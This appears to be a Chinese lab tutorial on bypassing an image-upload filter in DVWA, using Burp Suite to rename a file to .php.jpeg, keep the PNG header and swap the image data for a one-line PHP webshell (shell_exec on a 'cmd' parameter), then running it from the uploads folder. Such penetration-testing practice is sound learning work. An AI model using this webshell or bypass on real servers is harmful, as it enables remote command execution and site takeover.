在kali系统中默认包含了一些注入文件
/usr/share/wfuzz/wordlist/injections里面
文件上传漏洞
比如一些上传图片的高安全级别过滤机制,会检查请求头中图片的大小,和图片的类型,甚至是检查图片文件的内容,根据图片的前10个字节里的信息判断这个文件是否是真实的图片文件
如果有一个这样一个上传图片文件的上传点,我们如何突破web应用的过滤呢?
首先先准备一张png格式的图片,我这里是computer_on.png
先启动burpsuite,并开启截断功能
在页面中点击上传文件
把准备好的文件上传上去
在burpsuite中就截断了刚才的上传内容,就会看到请求头信息中有文件名,还有图片源码内容,里面就包含了证明是一个png图片内容
把这个内容send to repeater,放到repeater中,并修改其中的内容,首先把文件扩展名修改成.php.jpeg ,加.php是因为如果没有.php web应用会把它当做一个图片类型的文件,就不会按照php格式做解析,加.jpeg是因为web应用对上传的文件扩展做了限制只能上传.jpeg文件格式的图片
然后将图片文件的图片二进制信息换成一句话webshell:<?php echo shell_exec($_GET['cmd']);?>
点击GO,成功上传
然后在浏览器中访问刚刚上传的文件目录
http://192.168.133.132/dvwa/hackable/uploads/
执行就会发现就执行了webshell,还会看到文件的残余信息‰PNG……
这样,我们就成功绕过了web应用对上传文件的过滤